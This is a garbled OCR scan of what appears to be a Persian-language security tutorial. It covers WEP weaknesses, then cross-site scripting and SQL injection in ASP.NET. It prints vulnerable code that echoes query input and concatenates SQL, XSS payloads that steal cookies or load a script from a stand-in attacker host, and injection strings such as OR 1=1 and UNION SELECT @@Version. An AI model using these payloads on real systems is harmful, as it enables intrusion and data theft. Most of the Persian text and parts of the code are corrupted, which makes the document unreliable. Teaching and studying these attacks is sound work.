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Characteristic Description

Cirect Sequence Spread Spectrum (BDSS5), Frequency Hopping

Physieal Layer Spread Spectrum (FHSS), infrared (IR)

Freguency Band 2.4GHz {I5M band) and 5GHz
* p
Data Rates [.1r'.-"llg?s. 2Mbps, 5. 5Mbps, 11Mbps (118), 54Mbps (113}, 54Mbps

RC4-based stream encryption algerithm for confidentiality,

ke Aivg febwark sscuely authentication, and integnty. Limited key management.

Operating Range Apout 150 feet indoors and 1500 feet outdoors
Throughput Upto 11Mbps (54Mbps planned)

Ethernet speeds without wires, many different products from many
Positive Aspects different companies. Wireless client cards and access point costs

are decreasing.

Poor security in native mede; throughput decrease with distance

MNegative Aspects and load
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Security Issue / Vulnerability | Remarks
1. Security features in vendar Security features, albeit poor in some cases, are not enabled
products are frequently not when shipped, and users do not enable when installed. Bad
enabled. security is generally better than no security.
2. Vs are short (or static). 24-bit IV's cause the generated key stream to repeal. Repetition
sllows easy decryption of data for a moderately sophisticated
adversary

3. Cryptographic keys are short. 40-bit keys are inadequate for any system. [t is generally
accepted that key sizes should be greater than 80 bits in kength,
The longer the key, the less likely a comprise is possible from a
brute-force atiack

4. Cryptographic keys are shared. Keys that are shared can compromise a system. A fundamental
tenant of cryptography is that the security of a system is largely
dependent on the secrecy of the keys

5. Cryptographic keys cannot be Cryptographic keys should be changed often to prevent brute-

updated automatically and force attacks.
frequently.
6. RC4 has a weak key schedule The combination of revealing 24 key bits in the IV and a
and is inappropriately used in weakness in the initial few bytes of the RC4 keystream leads to
WEP. an efficient aitack that recovers the key. Most other applications

of RC4 do not expose the weaknesses of RC4 because they do
not reveal key bits and do not restart the key schedule for every
packet This attack is available to moderately sophisticated
adversares

7. Packet integrity is poor. CRC32 and other linear block codes are inadequate for providing
cryptographic integrity. Message modification is possible. Linear
codes are inadeguate for the protection against advertent attacks
on data integrity. Cryptographic profection is required to prevent
deliberate attacks. Use of noncryptographic protocals often
faciltates attacks against the cryptography.

8. Mo user authentication ococurs. Only the device 15 authenticated. A device that is stolen can
access the network
3. Authentication is not enabled; Identity-based systems ara highly vuinerable particularly in-a
only simple 5310 identification wireless system
OCCUrs,

10, Device authentication is simple Cre-way challenge-response authentication is subject to "man-in-
sharad-key challenge-response. | the-middie” attacks. Mutual authentication is required to provide
verification that users and the natwork are legitimate
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S5 e sl S5 T 1SS a3 5 05 sm3 Sk ik S 550 (3L (g3l

Cross-Site Scripting >

S Sl IS 48T b o LT (Bl g 53 5 ol Sy Sl 3255 SMa @ aliin (St e 7 55
S e (0 g5 ol 53358 3,05 05 8 o0 00 bEale il Cs by i by
L1 st ShLe Sl 650 o8 ST (55 il on i e 0T 018 4 et Sl 5 5
o313 w5 JNET (5,58 Sl oslital U aals » 87 5 50 53) QUErYSEING e soms i oslizal
L1y st Slle A5l 5 o ula plo g S o 3L ,5 GEREHTTP wee 5 b 515 (wsl o

LS Jl,iSearch g 5 ey oole

YourSite.com?Search=asp.net

33 333,8 oo 555 5e Sske JLs 4 e3ls oS 53 5ol |y g 5 e g 0 seies Ami
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void Page_load(Object Src,EventArgs E)
{
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String sSearchStr="";
NameValueCollection ColQstr = Request.QueryString;

String[] qStrAry = colQstr.AllKeys;
for (inti = 0; i<= qStrAry.GetUpperBound(0); i++)

{
if (qStrAry[i] == "search")
{
String[] gStrAry = colQstr.AllKeys;
for (int j = 0; j<=qStrAryVal.GetUpperBound(0);
j++)
{
sSearchStr = gqStrAryVal[j];
break;
by
¥
by

if (sSearchStr.Trim() '="")
{
if (SearchDataStore(sSearchStr) == false)
IbIResult.Text = "The search keyword " +

sSearchStr +
"did not produce any results. Please try again.";

1
)
bool SearchDataStore(String sSearchStr)
{

/*Perform the search against the datastore and display the
result. if there are no results then return false.*/
return false;
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}

sty 0T Hlais 5 el QueryString s 1, Search i, Page_Load sl s,
2 Al i i) @S oL 4 plsl SearchDataStore w13 4 u LS e
A1 3 ol Sl ey g dal g FAISE de ol 28850 Sl s 3L 631 oKL 53 (63550 S S se
Sl slas, S, b true w2250 S das o Alil) e ks Page_Load s,
b sy sole Jlas o 4o Lol (e (sl oy s falSE &7 550 3 50
bl b 1) g onbe Ko bl )8 e ws” 65 Jl S s

Process.Aspx?Search=<script>alert(CSS Attack); </script>

ol lg 1y 5 e Ll g oo )8 calin G b o
<d

href="process.aspx?Search=<script>alert(document.cookie); </scrip
t>">Click here </a>

QLGW\(LJ}JH@M&A&JQD&%M;))fdjxéj)gbj&:jd@fb
asl J=ls 31JavaScript s s o osls Sl alert o s s Jol oule sls COOKIE

3,035 9m g 58 50 55, &S 4 COOKIE et Loyl Ol alice 3 sy
ol &0 S 5 5l 5 sl ol il BB 05 a4 o e 5116 K05 s
)J.Mssaﬂjé.a}ﬁ-Q\J{)lf)l:b'-‘)Aja:)Ang))TCq-\)Lg)}l:é:)}ejagj);a}q-}ﬁd)b)kld
5l 0L 51aST1) (gLt o T Al 5 e 01 20LST oS ol 0T ol 3 SISG1 ol
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ool 3 03 503 0,53 3 g5 0315 oKL s OT s 2)l8" Lo 5 SeMBI O 3,05 b 03525
s e @l 1, 0T

Olal i o5 asle (e 03,57 5,05 L il 5 e 5 Sl 5L La S (6 3585 ol Sl 5o
LI A LV 53

is @ Cross-Site Script Attack News: Here

URL: www.SomeSite.com/default.aspx?ID=<script
src="http://CssAttack.com/dostuff/js'></script>

53 0T 08 s 5 a8 51y 0sls oL s 54,0 1, 0T URL s Slzel 05 sl 5

oL 5,05 leions sl 0k 3,15 45 2o Sl 20 810,58 o L1 5 CrOSS-Site o> 5 20
JA.:ﬁ@yb—Lg)l{d\ij@uuﬁdu)\afjms‘xﬂi&Q)y@m&iU\jaMo:\:
‘}L?—_gJJSM‘)SGMLXLA3}5;)3Jﬁ)>‘)URLm)JT-l;§Ai§:KJT>'-é§;)6});{Swg

3 5é o |21 SCHPE £l SRC s eus 0L ey Sl

Coa g e S ekt Sl 4 S8 a7 550 e plonil Sy s ol 4 SV g 516 S 4 g
Ll 0 eslizul NEX o5 > a5” 51 Unicode y ASCII

News: Here is a Croos-Site Script Attack

URL:
http://77%2077%2077%202€%2053%206f%206d%2065%2073%
2069%2074%2065%20
2€%2063%206f%206d/default.aspx?3¢c%2053%2063%2072%2069
%2070%2074%2020%20
73%2072%2063%203d%2092%2044%206f%2053%2074%2075%
2066%2066%202e%20
4a%2073%2092%203e€%203¢c%202f%2053%2063%2072%2069%
2070%2074%203e
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Jslee ASCII B s B oy

News: Here is a Cross-Site Script Attack
URL: www.SomeSite.com/default.aspx?ID=<script
src="http://CssAttack.com/dostuff/js'></script>

sl o

3,15 GloslalB g5 Connl 35,5 Oloj 53 Waosls i jluel 457508 o aduie (356 5,0 5e odaliue b
d (S a8 s ol 5 (SU bt Sl Sl il e 35,5 2 w1l URL s a7 2y S
b e ) 3slse Jols dlesl ol 513 o 5l Sl 0L (sla b

AL s COOKIR S Ol g ol - Se Jlie Ol g2 4 i 58 i o Waosls Sl - Sae

bl o 4y Sledbl S, LSS

i |l takas glasle Lasws 53 4LIK1 5 Oolual b olacy Sl

355 0l LT Sledbl b 5 ods a3 lais s CoOkie

35 g8l mar Gl l 3550 01 )8 Slacsss s

Agd Sl jfabasl Slacs b o ol )8
LaS ola g ao anlsl )3 ldd im0 glaasl p 4 dhe (gl 5, 51 iy sla 5w o
3 g a0 L1 5 S50 e 0313 oL 4 01 5 o T 31 o5z
SQL&)}?Y—H”
ousw‘,}dvﬁi\ﬁi}s‘c_ﬂ\ml}ﬂ&A{SQLJ‘{Q:;:)UA.\A:—C,JQ{MJ\..»Q\U'Q
)uuggy_&@J'(ﬂ\u_i,.,\_.:gujs;):;bj@m;ﬁ@,g,mmbonuuﬂ
c}uéug’:,);\dw\vw‘&u&uuuﬁw,;t,é;:j»;@,.uuﬁwf\;
&,8 0, SQL la ws
S e g5 e o

Dim StrSQL as String = "SELECT CustomerID, CompanyName,
ContactName, " & -
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"ContactTitle FROM Customers WHERE CustomerID = " &
txtCustID.Text & ""

S 5y 0 e a1y SQL s, SO L gy & s g ety ol By Sl el L G ojle s
s S ele Ll 8 55 558 o o Sl IXECUSEID s 54 5 luie L, CustomerID
@ﬁ@uoT;\w}upme@’ﬁM4_g<.\,\s\uuﬁ‘,\iu@w\,BOXﬁ\pf-
Ay el S el wlainylg I ALFKT wuls 1,8 31 0t 0l gie 4358 0 0305 ol )8

g el ) S S

3 S0L Injection - Microsoft Internet Explorer 1 I |D|_2<_!
File Edit iew Favorites Tools  Help i ",'."
"...) Back \_J e \ﬂ @ :_\J|/._'Search "_.'ET; Favorites @Media @?‘ G _,,;_. & - | ‘g *
Addressl http:fflocalhost/sgl_injection. Aspx j &0 |Links 2
=
SQL Injection
Customer 1D
|A|_F|<|[ | Get Customer Info I
FEI freds Futterkiste aria Anders =ales Eepresentative
i
& (T i) 7

Lot ply a8 8" s (slas 8 4u SQL ol a5 a3 15 on )87 (5350 i 3
)}J_AKCJ)H4-3(%&\_3:}3‘5(;%).1#@‘.3){))@):Qoﬁ»@j&&:’-;‘.u\iu@g)}
o 8 dal s L5 8 Lt s SQL Sjle o past 5 (6 i Sledbl 5,8 15,87 e

led 3515 1 5 ol Ll e ST de Olsie a5 5T on o8l 3 1) s 40 3585 doitis oS
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ALFKI' or CustomerID like '%
ujc"'t-“C”Jl-:‘c‘Jj*zL;‘*-’Ct’U‘jJKLQJJJj"")L;}JjW‘)W‘ Q}iq;:.h &“U‘b-}:b

TSl a1 OT (g 53 48 5 ped dal o 5 15 5 &,Le SQL

SELECT CustomerID, CompanyName, ContactName, ContactTitle
FROM Customers WHERE CustomerID = 'ALFKI' or CustomerID like
IO/OI

OLlS” ples Sledibl ALFKT antis U )l Sledlbl ;o 9he SQL iyl sl ol 4t 5o
bl Ql&}‘\b\wo:\: olilb" 228 S 33 550 s o3ls ulaiesls o\i.il.; 334 9e
g anslb OS5 G5 4 aete Ll 5 e GBI pl (il ok 0 3 (g lael O, 6 led S

aiy pShnl o s 0303 oL DSl 4 SQL G5 b sl e 5 6,505 sy 4 e S
Sy gt ol 3354 doal g 8 Il alie S am 545 5,05 amio 43 — OF 1=1"ALFKI
b 5 e & cods LI 5SQL @i,

SELECT CustomerID, CompanyName, ContactName, ContactTitle
FROM Customers WHERE CustomerID = 'ALFKI' or 1=1 --
ez oS e 20 SQL - Server MS s &jle 5 odis oslical () alsl Ls 55

el G) sl by S0 53 5 @) 5L L SQLMY s 1™ (1 . izs (COMMENS) Slows 5
ol i HLael &S S5 535 el a4l o aomien 53 |y Glaziy Sl j3B S 54 e
g el Gl Ol s (5 e 53 Lule o sl 0 50 el

Union SQL >

o3l UNION & 5Le 51 sty o Coloo 0 OB aisS” alem 5 0 3590 55 2 SleMbl S3Lys (4l
U’ij)bolﬁnc\{\):‘,ﬁ-upl:‘-Lgu‘s)\j,i'.s)o:ﬁj;éw)wdp&,s&ﬂ455:_,;—3\{.4;.1&3
5o ol 53 2 aS Sl )l 53 Al £ 58 ol s guloms  fege S (S S 32 ) b
Ll s s o ke 53 a slgisme osls 5 5 ils S 01y GLSS (lao st sl &S5 il

)L,c,Tpg;up@wﬂuyh\}mumonwsxs;};@apma‘.mbf;uﬁ
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P e 55l 3 JBe Olsie & 358 55 53,0 DM 03 4 e Ll 5 e S NS
Y R P PRV RUTR R SN g

ALFKI' union select @@Servername --
s sl 55 SQL wsy &) o ol s
SELECT CustomerID, CompanyName, ContactName, ContactTitle
FROM Customers WHERE CustomerID = 'ALFKI' union select

@@Servername  --'

¢L.:.;YLQ.:>-\(.L]a:'-Jﬁf(}g&ﬁc\{‘\q-)}'l{jJﬁ@)jﬂszwdﬁ.@jqﬁmm)a|
:M:@€\qd\ﬂj Cfl"u4.3&)‘\5)\{.1;:;&Q)jﬁpjajs.sri@osbujﬂujﬁ)\fqam Ay

ALFKI' union select @@Servername, @@Servicename, @@Version

ALFKI' union select @@Servername, @@Servicename,
@@Servicename, @@Version --

d&ubws‘-\_zj'jo@).&}_ﬁ-@-uQx‘j@&of‘}“{w}w‘;ﬂﬁjgakg
Sole S5 = e U8 a8 ol U ilad (asS 1y ol 8, SQL & le Lan 5

SELECT CustomerID, CompanyName, ContactName, ContactTitle
FROM Customers WHERE CustomerID = 'ALFKI' union select
@@Servername, @@Servicename, @@Servicename, @@Version -

so3503 >l 1, 0T Server SQL 11U (ol SQL ine oyl oK G oyl Sl 4 a5 b
w}ﬂ‘)jﬂmcw,ﬂ¢l34),ﬁCUJ.AL:”JMQL\;)\J:MSQL@)&H@”&Q{\

.M:@)l}ﬁjga'-\)sbh}.abwéw)&
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